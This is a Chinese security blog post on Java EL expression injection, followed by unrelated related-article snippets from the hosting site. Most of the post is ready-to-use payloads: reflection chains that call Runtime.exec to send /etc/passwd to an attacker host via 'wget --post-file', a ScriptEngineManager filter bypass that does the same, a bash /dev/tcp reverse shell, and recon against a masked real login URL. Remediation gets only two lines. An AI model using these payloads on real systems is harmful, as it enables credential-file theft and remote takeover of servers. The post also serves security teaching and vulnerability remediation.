java 代码执行el,专属于java的漏洞——EL表达式注入

前言“FSRC经验分享”系列文章,旨在分享焦点科技信息安全部工作过程中的经验总结,包括但不限于漏洞分析、运营技巧、sdl推行、等保合规、自研工具等等。

欢迎各位安全从业者持续关注~

0x01EL简介

表达式语言(Expression Language 以下简称EL)是以JSTL(JavaServer Pages Standard Tag Library,JSP标准标签库)的一部分出现的,原本被叫做SPEL(Simplest Possible Expression Language,简单的表达式语言),后来被称作EL(Expression Language,表达式语言)。它是一种脚本语言,允许通过JSP访问Java组件(JavaBeans)。自JSP 2.0以来,表达式语言已经被内置到JSP标签中,用于从JSP中分离Java代码,并允许(比用Java代码)更方便访问Java组件。

Java中有多种表达式语言,比如:JSTL_EL为JSP自带的表达式,适用于所有的Java Web,SpEL为Spring框架的EL表达式,只在Spring框架中可用 ,还有Struts2的OGNL。

JSTL_EL,为传统EL,通常简称为EL,这种表达式是JSP语言自带的表达式,也就是说所有的Java Web服务都必然会支持这种表达式。但是由于各家对其实现的不同,也导致某些漏洞可以在一些Java Web服务中成功利用,而在有的服务中则是无法利用。典型漏洞如CVE-2011-2730

SpEL:JAVA Spring框架特有表达式,是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。

0x02EL表达式的功能

EL主要的语法结构为:${ 表达式 }。其主要功能如下:

获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组)

执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}

获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据

调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法

0x03漏洞常见PoC通用PoC//执行两个数相加,xray的payload${889972849%2b988839806}//执行replace函数,页面中应该出现bbb${"aaa".replace('a','b')}//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)${pageContext}//文件头参数${header}//访问application作用域内部,可以获取到应用的各种属性,可获取webRoot${applicationScope}

执行读取文件命令

由于EL表达式中不能使用new操作符直接构建对象,也不能直接访问到java的类文件,所以这里要使用反射

首先获取java.lang.Runtime中的静态方法getRuntime的Method对象,然后通过invoke方法获取一个Runtime对象,接着就可以直接调用exec方法执行命令${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget+--post-file=/etc/passwd+http://ip:port",null,null).toString()}

如果开发人员做了安全防护措施,比如禁用了invoke方法,无法直接反射,则需要先反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎,再执行java.lang.Runtime exec

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('wget+--post-file=/etc/passwd+http://ip:port')")}

获取shell方式

(1)先获取webRoot路径,再写入jsp文件

以【WooYun-2016-195845】为例,先确认使用EL表达式https://auth.p4p.xxxx.com/login?service=${1000-900}

获取WebROOThttps://auth.p4p.xxxx.com/login?service=${applicationScope}javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext

然后就用命令向这个目录,写入jsp即可

(2)直接反弹shell?method=gotoViewPage&type=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -i >& /dev/tcp/ip/port 0>&1",null).getInputStream())}exec("")可替换其他获取shell的命令

ip/port 替换为自己服务器的ipP.S:对于java exec 本身不支持管道符、重定向符,执行命令可能不成功,可尝试编码后再执行http://www.jackson-t.ca/runtime-exec-payloads.html0x04漏洞修复方案尽量不使用外部输入的内容作为EL表达式内容;若使用,则严格过滤EL表达式注入漏洞的payload关键字;如果需要排查Java程序中JUEL相关代码,搜索如下关键类方法:javax.el.ExpressionFactory.createValueExpression()javax.el.ValueExpression.getValue()0x05免责声明

本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

0x06参考资料

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/275611.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

护肤产生共鸣_通过以人为本的设计编织共鸣的20个指针

护肤产生共鸣Deep into a project right now, I can’t help but reflect on how I practice empathy in design. Human centered design means empathising with and designing for people, keeping our focus on people throughout. It is not just one stage, it is a minds…

谷歌已推送 Android Q Beta 1

开发四年只会写业务代码,分布式高并发都不会还做程序员? >>> 今日凌晨,谷歌正式推送了 Android Q 的首个 Beta 版本,Pixel 全系列手机可以尝鲜体验这款最新的系统。 据官方博客介绍,Android Q 为用户带来了…

对使用CodeSmith模板生成NHibernate的代码的分析

CodeSmith是我们常用的代码生成工具,其跟据不同的模板生成不同代码的方式能大大加快我们的项目开发,减少重复劳动。NHibernate模板就是其常用模板之一。从这里可以下载到最新的模板文件。现在最新的版本为NHibernate-v1.2.1.2125,可以生成NHi…

若川诚邀你加源码共读群,每周一起学源码

小提醒:若川视野公众号面试、源码等文章合集在菜单栏中间【源码精选】按钮,欢迎点击阅读,也可以星标我的公众号,便于查找。回复pdf,可以获取前端优质书籍。最近我创建了一个源码共读的前端交流群,希望尝试帮…

matlab 规范,matlab-代码-规范

matlab-代码-规范 1. 标识符命名原则 标识符的名字应当直观,其长度应当符合“最小长度,最大信息量”原则。 1) 非矩阵变量: 变量名应该以小写字母开头的大小写混合形式 譬如:shadowFadingTable,servingSector&#xf…

zoom视频会议官网_人性化视频会议的空间(Zoom等)

zoom视频会议官网第二部分:房间的创造力 (Part Two: The Creativity of Rooms) In Part One I shared thoughts on how virtual spaces can often leave little room to embody our most human selves. The lack of a public sphere that parallels our shared publ…

KOFLive Postmortem

为期两个月的团队项目完成了,我们的游戏也已经发布。在这个名叫KOFLive的小游戏里,我们集成了五个真人角色,每个角色有拳脚基本招数以及三个小招、一个大招,硬值、防御、集气、双人对战、人机对战、练习模式等格斗游戏的Feature基…

单调队列优化多重背包

就是按照 % 体积的余数来分组&#xff0c;每组单调队列优化。 直接上模板好了。 1 #include <bits/stdc.h>2 3 typedef long long LL;4 const int N 100010;5 6 int n, V, cnt[N], cost[N];7 LL f[2][N], val[N], p[N], top, head;8 9 inline void Max(LL &a, const…

2021年7月 虾皮、货拉拉、有赞等面经总结

大家好&#xff0c;我是若川&#xff0c;加我微信 ruochuan12 进源码交流群。今天分享一篇7月份新鲜出炉的面经&#xff0c;文章较长&#xff0c;可以收藏再看。学习源码系列、面试、年度总结、JS基础系列。本文来自作者几米阳光 投稿 原文链接&#xff1a;https://juejin.cn/p…

Oracle对表名大小写敏感吗,让Oracle 大小写敏感 表名 字段名 对像名

一、解决方案1、在表名、字段名、对象名上加上双引号&#xff0c;即可实现让oracle大小写区分。2、但是这又引起了另一个问题&#xff1a;在数据库操作中&#xff0c;sql语句中相应的表名、字段名、对象名上一定要加双引号。解决办法是&#xff1a;使用"\"转义。如&a…

谷歌抽屉_Google(最终)会杀死导航抽屉吗?

谷歌抽屉A couple of months ago Google has celebrated with enthusiasm 15 years of Google Maps, one of the most used and appreciated services worldwide from the company.几个月前&#xff0c;Google热情地庆祝Google Maps诞生15周年&#xff0c;这是该公司在全球范围…

MySQL——安装

MySQL——安装 1. 下载源&#xff1a; http://repo.mysql.com/yum/mysql-8.0-community/el/7/x86_64/mysql80-community-release-el7-2.noarch.rpm 该源目前为8.0版本&#xff0c;如果需要最新请退至根目录找。 1wget http://repo.mysql.com/yum/mysql-8.0-community/el/7/x86_…

写给初中级前端的高级进阶指南等

大家好&#xff0c;我是若川。话不多说&#xff0c;这一次花了几小时精心为大家挑选了20余篇好文&#xff0c;供大家阅读学习。本文阅读技巧&#xff0c;先粗看标题&#xff0c;感兴趣可以都关注一波&#xff0c;绝对不亏。程序员成长指北考拉妹子&#xff0c;一个有趣的且乐于…

oracle for函数,oracle分区表述的FOR语句(一)

指定一个分区除了使用分区名称外&#xff0c;很多时候还可以使用FOR语句。从11g开始&#xff0c;对分区进行操作的时候&#xff0c;不仅可以使用分区名称&#xff0c;还可以使用FOR语句。在10g中&#xff0c;MERGE RANGE分区的语句如下&#xff1a;SQL> SELECT * FROM V$VER…

axure9控件树 rp_如何在Axure RP 9中创建分段控件

axure9控件树 rpSegmented controls are not very easy to tackle in prototyping. This is especially true when you have more than 2 segments. This article will show you how to create a segmented control with 3 segments in Axure in just 2 simple steps. The tech…

stack

1. 栈数据结构简单介绍 2. 简单实现代码及stl中stack简单使用 3. 代码下载 1. 栈数据结构简单介绍 栈是这样的一种数据结构&#xff0c;遵循“先进后出”的原则。在stack上定义如下的operations&#xff1a; 1. 判空 2. 入栈push 3. 出栈pop&#xff0c;在栈的不同实现版本中&…

MacOS搭建环境

基础环境 从AppStore下载 有道云笔记微信网易云音乐Chrome浏览器postmanChrome插件云笔记剪报基础命令 mac下别名vi ~/.bash_profile 添加 alias llls -alF alias lals -A alias lls -CF 保存后执行(不能有空格) source ~/.bash_profile复制代码开发环境 PhpStorm 从官网下载Ph…

【送书-小姐姐配音】低代码平台的核心价值与优势

大家好&#xff0c;我是若川。记得点上方听小姐姐配音&#xff0c;识别下方二维码加我微信 ruochuan12&#xff0c;明天&#xff08;8月8日&#xff09;晚8点在朋友圈发动态。点赞抽3位小伙伴包邮送《实战低代码》&#xff0c;细则见动态。最近组织了源码共读活动&#xff0c;每…

oracle静默安装集群,静默安装Oracle数据库10g篇

静默安装Oracle数据库10g篇以下是在Linux系统上静默安装Oracle数据库10g的实践过程&#xff0c;主要分为以下两个步骤&#xff1a;Step 1&#xff0e;静默安装Oracle数据库10g软件1. 使用OUI录制响应文件&#xff0c;记录安装过程执行以下命令&#xff0c;然后在OUI中根据提示执…

sketch钢笔工具_设计工具(Sketch,Adobe XD,Figma和InVision Studio)中奇怪的一项功能

sketch钢笔工具When you build a new product that is very similar to the existing products in the market, the designers and product managers tend to do certain features different from others. Sometimes this brings a good change, sometimes worse.当您构建与市场…